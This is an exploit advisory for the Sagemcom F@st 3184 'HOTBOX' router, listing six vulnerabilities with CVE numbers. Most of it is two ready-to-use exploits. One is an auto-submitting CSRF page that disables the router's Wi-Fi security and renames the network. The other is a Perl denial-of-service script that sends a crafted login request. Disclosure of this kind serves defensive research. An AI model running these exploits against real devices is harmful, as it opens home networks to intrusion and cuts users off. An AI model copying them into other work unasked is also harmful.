Sagemcom F@st 3184 2.1.11 - Multiple Vulnerabilities



Platform:

Hardware

Date:

2013-11-08


+------------------------------------------------------------------------------+
| HOTBOX is the leading router/modem appliance of      |
|  HOT Cable communication company in israel.           |
| The Appliance is manufactured by SAGEMCOM         |
| and carries the model name F@st 3184.                     |
+------------------------------------------------------------------------------+
| Title: HOTBOX Multiple Vulnerabilities                         |
+--------------------+---------------------------------------------------------+
| Release Date       | 2013/09/09                                    |
| Researcher         | Oz Elisyan                                     |
+--------------------+---------------------------------------------------------+
| System Affected    | HOTBOX Router/Modem               |
| Versions Affected  | 2.1.11 , possibly earlier                 |
| Related CVE Numbers | CVE-2013-5037, CVE-2013-5038|
| CVE-2013-5220, CVE-2013-5219, CVE-2013-5218,       |
| CVE-2013-5039                                                         |
| Vendor Patched | N/A                                                 |
| Classification     | 0-day                                              |
| Exploits | http://elisyan.com/hotboxDoS.pl,                  |
| http://elisyan.com/hotboxCSRF.html                           |
+--------------------+---------------------------------------------------------+

Vulnerabilities List -
# Default WPS Pin
# Authentication based on IP Address
# DoS via crafted POST
# Path/Directory Traversal
# Script injection via DHCP request
# No CSRF Token

Demo -
http://www.youtube.com/watch?v=CPlT09ZIj48



CSRF EXPLOIT: 


<html>
    <form action='http://192.168.1.1/goform/wlanBasicSecurity' method='POST' id=1>
        <input type=hidden name="WirelessMacAddr" value="C0%3AAC%3A54%3AF8%3A67%3A58" id="WirelessMacAddr">
        <input type=hidden name="WirelessEnable1" value="1" id="WirelessEnable1">
    <input type=hidden name="ServiceSetIdentifier1" value="Elisyan" id="ServiceSetIdentifier1">
    <input type=hidden name="WirelessVendorMode" value="3" id="WirelessVendorMode">
    <input type=hidden name="ChannelNumber1" value="0" id="ChannelNumber1">
    <input type=hidden name="NBandwidth1" value="20" id="NBandwidth1">
    <input type=hidden name="ClosedNetwork1" value="0" id="ClosedNetwork1">
    <input type=hidden name="WifiSecurity" value="0" id="WifiSecurity">
    <input type=hidden name="commitwlanBasicSecurity" value="1" id="commitwlanBasicSecurity">
    <input type=hidden name="restoreWirelessDefaults1" value="0" id="restoreWirelessDefaults1">
    <input type=hidden name="scanActions1" value="0" id="scanActions1">
    <input type=hidden name="AutoSecurity1" value="1" id="AutoSecurity1">
    <input type=hidden name="wpsActions1" value="0" id="wpsActions1">
    

    </form>
</html>
<script>document.getElementById(1).submit();</script>



DENIAL OF SERVICE EXPLOIT:

use warnings;
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;


# Author: Oz Elisyan
# Date: 3 September 2013
# Affected Version: <= 2.1.11

print "# HOTBOX DoS PoC #\n\n"

unless ($ARGV[0]){
  print "Please Enter Valid Host Name.\n";
  exit();
}

print "Sending Evil POST request...\n";

my $HOST = $ARGV[0];
my $URL = "http://$HOST/goform/login";
my $PostData = "loginUsername=aaaloginPassword=aaa"
my $browser = LWP::UserAgent->new();
my $req = HTTP::Request->new(POST => $URL);
$req->content_type("application/x-www-form-urlencoded");
$req->content($PostData);
my $resp = $browser->request($req);

print "Done.";